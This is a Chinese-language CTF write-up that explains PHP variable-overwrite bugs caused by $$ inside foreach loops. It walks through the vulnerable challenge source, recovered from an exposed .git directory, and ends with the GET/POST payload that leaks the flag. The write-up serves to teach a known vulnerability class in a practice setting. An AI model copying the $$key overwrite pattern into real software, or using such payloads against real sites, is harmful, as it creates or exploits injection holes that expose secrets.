简介

 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January

 考察知识点:$$导致的变量覆盖问题

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

$$导致的变量覆盖问题

$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。

因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

<?php
$name='thinking';
foreach ($_GET as $key => $value) $$key = $value; //这里进行了覆盖 $$key传入的值是name 传入进入成为$name 所以造成了name外部的变量被覆盖 var_dump($key);
var_dump($value);
var_dump($$key); echo $name; //?name=test
//output:string(4) “name”
//string(4) “test”
//string(4) “test”
//test

引用:https://www.freebuf.com/column/150731.html

过程

扫描发现git

获取git源码

代码审计!

<?php
include'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds'; foreach($_GET as $x => $y){ //get传值
$$x = $$y; //漏洞在这里 比如输入 yds=flag 相当于 $yds=$flag
} foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
exit($handsome);
}
} //检测get是否为flag 或者post是否为flag 必须两方都为假 否则输出$yds
//通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds
//构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag
//所以这个条件为真就可以输出flag了。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds); }
// //检测POST flag是否为flag 或者get 是否为flag //至少有一个为真则为真
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
} echo "the flag is: ".$flag; ?>

最终构造pyload:

GET:yds=flag
POST:flag=11111

得到flag.....

最新文章

  1. 浅谈javascript面向对象
  2. mysql中文乱码解决方法
  3. 【SGU 104】Little shop of flowers
  4. push to deploy
  5. BZOJ 3551 Peaks加强版
  6. javaweb学习总结八(xml约束DTD)
  7. 关于Eclipse中的快捷键占用的解决.
  8. cannot run program "git.exe":CreateProcess error=2
  9. 关于有限状态机FSM同步复位的问题
  10. 一个简单的基于BIO的RPC框架
  11. Codeforces 834D The Bakery【dp+线段树维护+lazy】
  12. 一个网站SQL注入的案例
  13. Shell中字符串的切割、拼接、比较、替换
  14. oracle无效索引重建
  15. day057 基于对象和基于双下划线的多表查询
  16. 01-Java基本语法
  17. 第二次前端作业grid布局练习
  18. nginx伪静态之try_files和rewrite讲解
  19. 导出文件在IE和火狐中文件名乱码问题的解决
  20. PAT 1024 Palindromic Number[难]

热门文章

  1. 联赛模拟测试20 C. Weed
  2. hdu3555 Bomb (数位dp入门题)
  3. java 第二课 标识符
  4. Vue基础(1)
  5. 刷题不应该刷leecode 应该刷oj
  6. Spring Boot打包部署
  7. 开源!一款功能强大的高性能二进制序列化器Bssom.Net
  8. ansible-hoc命令行
  9. python爬虫scrapy框架
  10. 一路踩坑,被迫聊聊 C# 代码调试技巧和远程调试